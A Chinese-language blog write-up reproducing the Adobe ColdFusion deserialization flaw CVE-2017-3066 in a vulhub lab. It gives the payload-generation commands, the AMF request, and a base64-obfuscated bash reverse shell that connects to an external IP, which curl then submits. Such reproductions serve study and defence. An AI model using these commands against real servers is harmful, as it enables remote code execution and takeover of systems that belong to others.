Hzktester`s Blog
0%

Adobe ColdFusion 反序列化漏洞（CVE-2017-3066）

发表于 更新于 分类于 阅读次数：
本文字数： 1.6k 阅读时长 ≈ 1 分钟

漏洞详情

Adobe ColdFusion是美国Adobe公司的一款动态Web服务器产品，其运行的CFML（ColdFusion Markup Language）是针对Web应用的一种程序设计语言。

Adobe ColdFusion中存在java反序列化漏洞。攻击者可利用该漏洞在受影响应用程序的上下文中执行任意代码或造成拒绝服务。以下版本受到影响：Adobe ColdFusion (2016 release) Update 3及之前的版本，ColdFusion 11 Update 11及之前的版本，oldFusion 10 Update 22及之前的版本。

漏洞环境

使用vulhub启动漏洞环境

1
2
cd /root/vulhub/coldfusion/CVE-2017-3066/
docker-compose up -d

等待数分钟时间，环境启动成功，访问http://your-ip:8500/CFIDE/administrator/index.cfm，输入密码vulhub，即可成功安装Adobe ColdFusion

image

安装成功后页面如下：

image

漏洞复现

使用ColdFusionPwn工具来生成POC：

同时获取最新版的ysoserial。放在同一目录下

生成POC（执行命令touch /tmp/success）：

1
java -cp ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:ysoserial-0.0.6-SNAPSHOT-all.jar com.codewhitesec.coldfusionpwn.ColdFusionPwner -e CommonsBeanutils1 'touch /tmp/success' poc.ser

image

POC生成于poc.ser文件中，将POC作为数据包body发送给http://your-ip:8500/flex2gateway/amf，Content-Type为application/x-amf：

1
2
3
4
5
6
7
8
9
10
11
POST /flex2gateway/amf HTTP/1.1
Host: your-ip:8500
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-amf
Content-Length: 2853

[...poc...]

image

进入容器中，发现/tmp/success已成功创建：

image

接下来试一下反弹shell（生成一个反弹shell的poc）：

1
java -cp ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:ysoserial-0.0.6-SNAPSHOT-all.jar com.codewhitesec.coldfusionpwn.ColdFusionPwner -e CommonsBeanutils1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDEuNjIuMjAvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}' shell.ser

image

使用curl命令提交poc：

1
curl http://47.101.62.20:8500/flex2gateway/amf --data-binary @shell.ser

image

成功反弹shell：

image